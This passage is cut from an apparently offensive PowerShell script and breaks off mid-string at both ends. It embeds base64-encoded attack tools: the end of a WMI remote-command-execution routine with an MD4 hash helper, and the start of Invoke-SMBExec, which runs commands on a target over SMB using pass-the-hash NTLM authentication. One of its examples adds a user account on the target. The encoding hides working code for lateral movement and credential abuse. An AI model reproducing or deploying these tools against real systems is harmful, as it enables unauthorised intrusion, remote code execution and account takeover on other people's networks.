zAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05UTE1TU1BfdmVyaWZpZXJbIk5UTE1TU1BWZXJpZmllcl9OVExNU1NQVmVyaWZpZXJDaGVja3N1bSJdID0gJFJQQ19zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICROVExNU1NQX3ZlcmlmaWVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX3ZlcmlmaWVyDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQyArICRzdHViX2RhdGEgKyAkTlRMTVNTUF92ZXJpZmllcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRyZXF1ZXN0X3NwbGl0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uRGF0YUF2YWlsYWJsZSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBTdGFydC1TbGVlcCAtbSAkU2xlZXANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2UgPSAkV01JX2NsaWVudF9zdGFnZV9uZXh0DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnUmVzdWx0Jw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5EYXRhQXZhaWxhYmxlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFN0YXJ0LVNsZWVwIC1tICRTbGVlcA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkV01JX2NsaWVudF9yZWNlaXZlWzExNDVdIC1uZSA5KQ0KICAgICAgICAgICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0X3Byb2Nlc3NfSUQgPSBEYXRhTGVuZ3RoMiAxMTQxICRXTUlfY2xpZW50X3JlY2VpdmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkNvbW1hbmQgZXhlY3V0ZWQgd2l0aCBwcm9jZXNzIElEICR0YXJnZXRfcHJvY2Vzc19JRCBvbiAkdGFyZ2V0X2xvbmciDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJQcm9jZXNzIGRpZCBub3Qgc3RhcnQsIGNoZWNrIHlvdXIgY29tbWFuZCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2UgPSAnZXhpdCcNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgU3RhcnQtU2xlZXAgLW0gJFNsZWVwDQogICAgICAgICAgICANCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ2xvc2UoKQ0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkNsb3NlKCkNCiAgICAgICAgfQ0KDQogICAgICAgICRXTUlfY2xpZW50LkNsb3NlKCkNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkNsb3NlKCkNCiAgICB9DQoNCn0NCg0KfQ0KDQpGdW5jdGlvbiBHZXQtTUQ0SGFzaCB7DQo8Iw0KLlNZTk9QU0lTDQogICAgVGhpcyBjbWRsZXQgcmV0dXJucyB0aGUgTUQ0IGhhc2ggb2YgdGhlIGRhdGEgdGhhdCBpcyBpbnB1dC4NCiAgICBXQVJOSU5HOiBNRDQgaXMgbm90IHNlY3VyZSwgc28gaXQgc2hvdWxkIE5FVkVSIGJlIHVzZWQgdG8NCiAgICBwcm90ZWN0IHNlbnNpdGl2ZSBkYXRhLiBUaGlzIGNtZGxldCBpcyBmb3IgcmVzZWFyY2ggcHVycG9zZXMgb25seSENCiANCi5ERVNDUklQVElPTg0KICAgIFRoaXMgY21kbGV0IHJldHVybnMgdGhlIE1ENCBoYXNoIG9mIHRoZSBkYXRhIHRoYXQgaXMgaW5wdXQuDQogICAgV0FSTklORzogTUQ0IGlzIG5vdCBzZWN1cmUsIHNvIGl0IHNob3VsZCBORVZFUiBiZSB1c2VkIHRvDQogICAgcHJvdGVjdCBzZW5zaXRpdmUgZGF0YS4gVGhpcyBjbWRsZXQgaXMgZm9yIHJlc2VhcmNoIHB1cnBvc2VzIG9ubHkhDQogICAgVGhpcyBjbWRsZXQgdXNlcyBNaWNyb3NvZnQncyBpbXBsZW1lbnRhdGlvbiBvZiBNRDQsIGV4cG9ydGVkDQogICAgZnJvbSBiY3J5cHQuZGxsLiBUaGUgaW1wbGVtZW50YXRpb24gaXMgZnVsbHkgY29tcGxpYW50IHdpdGgNCiAgICBSRkMgMTMyMC4gVGhpcyBjbWRsZXQgdGFrZXMgYSBieXRlIGFycmF5IGFzIGlucHV0LCBub3QgYSBzdHJpbmcuDQogICAgU28gaWYgeW91IHdhbnRlZCB0byBoYXNoIGEgc3RyaW5nIChzdWNoIGFzIGEgcGFzc3dvcmQsKSB5b3UNCiAgICBuZWVkIHRvIGNvbnZlcnQgaXQgdG8gYSBieXRlIGFycmF5IGZpcnN0Lg0KIA0KLkVYQU1QTEUNCiAgICBHZXQtTUQ0SGFzaCAtRGF0YVRvSGFzaCAkKFtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygiWW91clBhc3N3b3JkMSEiKSkNCiANCi5QQVJBTUVURVIgRGF0YVRvSGFzaA0KICAgIEEgYnl0ZSBhcnJheSB0aGF0IHJlcHJlc2VudHMgdGhlIGRhdGEgdGhhdCB5b3Ugd2FudCB0byBoYXNoLg0KIA0KLklOUFVUUw0KICAgIEEgYnl0ZSBhcnJheSBjb250YWluaW5nIHRoZSBkYXRhIHlvdSB3aXNoIHRvIGhhc2guDQogDQouT1VUUFVUUw0KICAgIEEgMTI4LWJpdCBoZXhhZGVjaW1hbCBzdHJpbmcgLSB0aGUgTUQ0IGhhc2ggb2YgeW91ciBkYXRhLg0KIA0KLk5PVEVTDQogICAgQXV0aG9yOiBSeWFuIFJpZXMsIDIwMTQsIHJ5YW5AbXlvdGhlcnBjaXNhY2xvdWQuY29tDQogDQouTElOSw0KICAgIGh0dHBzOi8vbXlvdGhlcnBjaXNhY2xvdWQuY29tDQojPg0KICAgIFtDbWRsZXRCaW5kaW5nKCldDQogICAgUGFyYW0gKFtQYXJhbWV0ZXIoTWFuZGF0b3J5PSRUcnVlLCBWYWx1ZUZyb21QaXBlbGluZT0kRmFsc2UpXSAgICAgICAgICANCiAgICAgICAgICAgW0J5dGVbXV0kRGF0YVRvSGFzaCkNCiAgICBFTkQNCiAgICB7ICAgICAgIA0KICAgICAgICBTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiBMYXRlc3QNCiAgICAgICAgaWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ2RzYWZkc2FmZHNhZmRzJykuVHlwZSkNCiAgICAgICAgew0KICAgICAgICBBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gQCcNCiAgICAgICAgdXNpbmcgU3lzdGVtOw0KICAgICAgICB1c2luZyBTeXN0ZW0uVGV4dDsNCiAgICAgICAgdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOw0KICAgICAgICBwdWJsaWMgY2xhc3MgZHNhZmRzYWZkc2FmZHMNCiAgICAgICAgew0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyKA0KICAgICAgICAgICAgICAgIFtPdXRdIG91dCBJbnRQdHIgcGhBbGdvcml0aG0sDQogICAgICAgICAgICAgICAgW0luXSBzdHJpbmcgcHN6QWxnSWQsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gc3RyaW5nIHBzekltcGxlbWVudGF0aW9uLA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGR3RmxhZ3MpOw0KIA0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhBbGdvcml0aG0sDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRDcmVhdGVIYXNoKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbT3V0XSBvdXQgSW50UHRyIHBoSGFzaCwNCiAgICAgICAgICAgICAgICBbT3V0XSBJbnRQdHIgcGJIYXNoT2JqZWN0LA0KICAgICAgICAgICAgICAgIFtJbiwgT3B0aW9uYWxdIFVJbnQzMiBjYkhhc2hPYmplY3QsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gSW50UHRyIHBiU2VjcmV0LA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGNiU2VjcmV0LA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGR3RmxhZ3MpOw0KIA0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0RGVzdHJveUhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoSGFzaCk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRIYXNoRGF0YSgNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhIYXNoLA0KICAgICAgICAgICAgICAgIFtJbiwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBBcnJheSldIGJ5dGVbXSBwYklucHV0LA0KICAgICAgICAgICAgICAgIFtJbl0gaW50IGNiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRGaW5pc2hIYXNoKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEhhc2gsDQogICAgICAgICAgICAgICAgW091dCwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBBcnJheSldIGJ5dGVbXSBwYklucHV0LA0KICAgICAgICAgICAgICAgIFtJbl0gaW50IGNiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRmxhZ3NdDQogICAgICAgICAgICBwdWJsaWMgZW51bSBBbGdPcHNGbGFncyA6IHVpbnQNCiAgICAgICAgICAgIHsgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIEJDUllQVF9QUk9WX0RJU1BBVENIID0gMHgwMDAwMDAwMSwNCiAgICAgICAgICAgICAgICBCQ1JZUFRfQUxHX0hBTkRMRV9ITUFDX0ZMQUcgPSAweDAwMDAwMDA4LA0KICAgICAgICAgICAgICAgIEJDUllQVF9IQVNIX1JFVVNBQkxFX0ZMQUcgPSAweDAwMDAwMDIwDQogICAgICAgICAgICB9DQogDQogICAgICAgICAgICAvLyBUaGlzIGlzIGEgZ2lnYW50aWMgZW51bSBhbmQgSSBkb24ndCB3YW50IHRvIGNvcHkgYWxsIG9mIGl0IGludG8gdGhpcyBQb3dlcnNoZWxsIHNjcmlwdC4NCiAgICAgICAgICAgIC8vIEJhc2ljYWxseSBhbnl0aGluZyBvdGhlciB0aGFuIHplcm8gbWVhbnMgc29tZXRoaW5nIHdlbnQgd3JvbmcuDQogICAgICAgICAgICBwdWJsaWMgZW51bSBOVFN0YXR1cyA6IHVpbnQNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBTVEFUVVNfU1VDQ0VTUyA9IDB4MDAwMDAwMDANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KJ0ANCn0NCiANCiAgICAgICAgW0J5dGVbXV0kSGFzaEJ5dGVzICAgPSBOZXctT2JqZWN0IEJ5dGVbXSAxNg0KICAgICAgICBbSW50UHRyXSRQSEFsZ29yaXRobSA9IFtJbnRQdHJdOjpaZXJvDQogICAgICAgIFtJbnRQdHJdJFBISGFzaCAgICAgID0gW0ludFB0cl06Olplcm8NCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyKFtSZWZdICRQSEFsZ29yaXRobSwgJ01ENCcsICROdWxsLCAwKQ0KICAgICAgICBJZiAoJE5UU3RhdHVzIC1ORSAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1FcnJvciAiQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyIGZhaWxlZCB3aXRoIE5UU1RBVFVTICROVFN0YXR1cyINCiAgICAgICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIoJFBIQWxnb3JpdGhtLCAwKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgUmV0dXJuDQogICAgICAgIH0NCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q3JlYXRlSGFzaCgkUEhBbGdvcml0aG0sIFtSZWZdICRQSEhhc2gsIFtJbnRQdHJdOjpaZXJvLCAwLCBbSW50UHRyXTo6WmVybywgMCwgMCkNCiAgICAgICAgSWYgKCROVFN0YXR1cyAtTkUgMCkNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtRXJyb3IgIkJDcnlwdENyZWF0ZUhhc2ggZmFpbGVkIHdpdGggTlRTVEFUVVMgJE5UU3RhdHVzIg0KICAgICAgICAgICAgSWYgKCRQSEhhc2ggLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdERlc3Ryb3lIYXNoKCRQSEhhc2gpICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBJZiAoJFBIQWxnb3JpdGhtIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKCRQSEFsZ29yaXRobSwgMCkNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIFJldHVybg0KICAgICAgICB9DQogDQogICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdEhhc2hEYXRhKCRQSEhhc2gsICREYXRhVG9IYXNoLCAkRGF0YVRvSGFzaC5MZW5ndGgsIDApDQogICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdEZpbmlzaEhhc2goJFBISGFzaCwgJEhhc2hCeXRlcywgJEhhc2hCeXRlcy5MZW5ndGgsIDApDQogDQogICAgICAgIElmICgkUEhIYXNoIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgew0KICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RGVzdHJveUhhc2goJFBISGFzaCkNCiAgICAgICAgfQ0KICAgICAgICBJZiAoJFBIQWxnb3JpdGhtIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgew0KICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigkUEhBbGdvcml0aG0sIDApDQogICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAkSGFzaFN0cmluZyA9IE5ldy1PYmplY3QgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlcg0KICAgICAgICBGb3JlYWNoICgkQnl0ZSBJbiAkSGFzaEJ5dGVzKQ0KICAgICAgICB7DQogICAgICAgICAgICBbVm9pZF0kSGFzaFN0cmluZy5BcHBlbmQoJEJ5dGUuVG9TdHJpbmcoIlgyIikpDQogICAgICAgIH0NCiAgICAgICAgUmV0dXJuICRIYXNoU3RyaW5nLlRvU3RyaW5nKCkNCiAgICB9DQp9DQo="
# Author: @kevin_robertson
$smbexec = "ZnVuY3Rpb24gSW52b2tlLVNNQkV4ZWMNCnsNCjwjDQouU1lOT1BTSVMNCkludm9rZS1TTUJFeGVjIHBlcmZvcm1zIFNNQkV4ZWMgc3R5bGUgY29tbWFuZCBleGVjdXRpb24gd2l0aCBOVExNdjIgcGFzcyB0aGUgaGFzaCBhdXRoZW50aWNhdGlvbi4gSW52b2tlLVNNQkV4ZWMNCnN1cHBvcnRzIFNNQjEgYW5kIFNNQjIgd2l0aCBhbmQgd2l0aG91dCBTTUIgc2lnbmluZy4NCg0KLlBBUkFNRVRFUiBUYXJnZXQNCkhvc3RuYW1lIG9yIElQIGFkZHJlc3Mgb2YgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIFVzZXJuYW1lDQpVc2VybmFtZSB0byB1c2UgZm9yIGF1dGhlbnRpY2F0aW9uLg0KDQouUEFSQU1FVEVSIERvbWFpbg0KRG9tYWluIHRvIHVzZSBmb3IgYXV0aGVudGljYXRpb24uIFRoaXMgcGFyYW1ldGVyIGlzIG5vdCBuZWVkZWQgd2l0aCBsb2NhbCBhY2NvdW50cyBvciB3aGVuIHVzaW5nIEBkb21haW4gYWZ0ZXIgdGhlDQp1c2VybmFtZS4gDQoNCi5QQVJBTUVURVIgSGFzaA0KTlRMTSBwYXNzd29yZCBoYXNoIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBtb2R1bGUgd2lsbCBhY2NlcHQgZWl0aGVyIExNOk5UTE0gb3IgTlRMTSBmb3JtYXQuDQoNCi5QQVJBTUVURVIgQ29tbWFuZA0KQ29tbWFuZCB0byBleGVjdXRlIG9uIHRoZSB0YXJnZXQuIElmIGEgY29tbWFuZCBpcyBub3Qgc3BlY2lmaWVkLCB0aGUgZnVuY3Rpb24gd2lsbCBjaGVjayB0byBzZWUgaWYgdGhlIHVzZXJuYW1lDQphbmQgaGFzaCBwcm92aWRlcyBsb2NhbCBhZG1pbmlzdHJhdG9yIGFjY2VzcyBvbiB0aGUgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIENvbW1hbmRDT01TUEVDDQpEZWZhdWx0ID0gRW5hYmxlZDogUHJlcGVuZCAlQ09NU1BFQyUgL0MgdG8gQ29tbWFuZC4NCg0KLlBBUkFNRVRFUiBTZXJ2aWNlDQpEZWZhdWx0ID0gMjAgQ2hhcmFjdGVyIFJhbmRvbTogTmFtZSBvZiB0aGUgc2VydmljZSB0byBjcmVhdGUgYW5kIGRlbGV0ZSBvbiB0aGUgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIFNNQjENCihTd2l0Y2gpIEZvcmNlIFNNQjEuIFRoZSBkZWZhdWx0IGJlaGF2aW9yIGlzIHRvIHBlcmZvcm0gU01CIHZlcnNpb24gbmVnb3RpYXRpb24gYW5kIHVzZSBTTUIyIGlmIHN1cHBvcnRlZCBieSB0aGUNCnRhcmdldC4NCg0KLlBBUkFNRVRFUiBTbGVlcA0KRGVmYXVsdCA9IDE1MCBNaWxsaXNlY29uZHM6IFNldHMgdGhlIGZ1bmN0aW9uJ3MgU3RhcnQtU2xlZXAgdmFsdWVzIGluIG1pbGxpc2Vjb25kcy4gWW91IGNhbiB0cnkgdHdlYWtpbmcgdGhpcw0Kc2V0dGluZyBpZiB5b3UgYXJlIGV4cGVyaWVuY2luZyBzdHJhbmdlIHJlc3VsdHMuDQoNCi5FWEFNUExFDQpJbnZva2UtU01CRXhlYyAtVGFyZ2V0IDE5Mi4xNjguMTAwLjIwIC1Eb21haW4gVEVTVERPTUFJTiAtVXNlcm5hbWUgVEVTVCAtSGFzaCBGNkYzOEI3OTNEQjZBOTRCQTA0QTUyRjFEM0VFOTJGMCAtQ29tbWFuZCAiY29tbWFuZCBvciBsYXVuY2hlciB0byBleGVjdXRlIiAtdmVyYm9zZQ0KDQouRVhBTVBMRQ0KSW52b2tlLVNNQkV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtRG9tYWluIFRFU1RET01BSU4gLVVzZXJuYW1lIFRFU1QgLUhhc2ggRjZGMzhCNzkzREI2QTk0QkEwNEE1MkYxRDNFRTkyRjAgLUNvbW1hbmQgIm5ldCB1c2VyIFNNQkV4ZWMgV2ludGVyMjAxNyAvYWRkIg0KDQouRVhBTVBMRQ0KSW52b2tlLVNNQkV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtRG9tYWluIFRFU1RET01BSU4gLVVzZXJuYW1lIFRFU1QgLUhhc2ggRjZGMzhCNzkzREI2QTk0QkEwNEE1MkYxRDNFRTkyRjANCg0KLkxJTksNCmh0dHBzOi8vZ2l0aHViLmNvbS9LZXZpbi1Sb2JlcnRzb24vSW52b2tlLVRoZUhhc2gNCg0KIz4NCltDbWRsZXRCaW5kaW5nKCldDQpwYXJhbQ0KKA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSR0cnVlKV1bU3RyaW5nXSRUYXJnZXQsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtTdHJpbmddJFVzZXJuYW1lLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kRG9tYWluLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kQ29tbWFuZCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtWYWxpZGF0ZVNldCgiWSIsIk4iKV1bU3RyaW5nXSRDb21tYW5kQ09NU1BFQz0iWSIsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bVmFsaWRhdGVTY3JpcHQoeyRfLkxlbmd0aCAtZXEgMzIgLW9yICRfLkxlbmd0aCAtZXEgNjV9KV1bU3RyaW5nXSRIYXNoLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kU2VydmljZSwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtTd2l0Y2hdJFNNQjEsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSRQYXNzd29yZCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtJbnRdJFNsZWVwPTE1MA0KKQ0KDQppZighJFBhc3N3b3JkIC1hbmQgISRIYXNoKXsNCiAgICBleGl0DQp9DQoNCmlmKCRQYXNzd29yZCl7DQogICAgJEhhc2ggPSBHZXQtTUQ0SGFzaCAtRGF0YVRvSGFzaCAkKFtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkUGFzc3dvcmQpKQ0KICAgIFdyaXRlLU91dHB1dCAiSGFzaCBiZWluZyB1c2VkOiAkSGFzaCINCn0NCg0KaWYoJENvbW1hbmQpDQp7DQogICAgJFNNQl9leGVjdXRlID0gJHRydWUNCn0NCg0KaWYoJFNNQjEpDQp7DQogICAgJFNNQl92ZXJzaW9uID0gJ1NNQjEnDQp9DQoNCmZ1bmN0aW9uIENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5DQp7DQogICAgcGFyYW0oJHBhY2tldF9vcmRlcmVkX2RpY3Rpb25hcnkpDQoNCiAgICBGb3JFYWNoKCRmaWVsZCBpbiAkcGFja2V0X29yZGVyZWRfZGljdGlvbmFyeS5WYWx1ZXMpDQogICAgew0KICAgICAgICAkYnl0ZV9hcnJheSArPSAkZmllbGQNCiAgICB9DQoNCiAgICByZXR1cm4gJGJ5dGVfYXJyYXkNCn0NCg0KI05ldEJJT1MNCg0KZnVuY3Rpb24gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X2hlYWRlcl9sZW5ndGgsW0ludF0kcGFja2V0X2RhdGFfbGVuZ3RoKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X25ldGJpb3Nfc2Vzc2lvbl9zZXJ2aWNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9oZWFkZXJfbGVuZ3RoICsgJHBhY2tldF9kYXRhX2xlbmd0aCkNCiAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlX2xlbmd0aCA9ICRwYWNrZXRfbmV0Ymlvc19zZXNzaW9uX3NlcnZpY2VfbGVuZ3RoWzIuLjBdDQoNCiAgICAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZSA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9OZXRCSU9TU2Vzc2lvblNlcnZpY2UuQWRkKCJOZXRCSU9TU2Vzc2lvblNlcnZpY2VfTWVzc2FnZV9UeXBlIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZS5BZGQoIk5ldEJJT1NTZXNzaW9uU2VydmljZV9MZW5ndGgiLFtCeXRlW11dKCRwYWNrZXRfbmV0Ymlvc19zZXNzaW9uX3NlcnZpY2VfbGVuZ3RoKSkNCg0KICAgIHJldHVybiAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZQ0KfQ0KDQojU01CMQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CSGVhZGVyKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZCxbQnl0ZVtdXSRwYWNrZXRfZmxhZ3MsW0J5dGVbXV0kcGFja2V0X2ZsYWdzMixbQnl0ZVtdXSRwYWNrZXRfdHJlZV9JRCxbQnl0ZVtdXSRwYWNrZXRfcHJvY2Vzc19JRCxbQnl0ZVtdXSRwYWNrZXRfdXNlcl9JRCkNCg0KICAgICRwYWNrZXRfU01CSGVhZGVyID0gTmV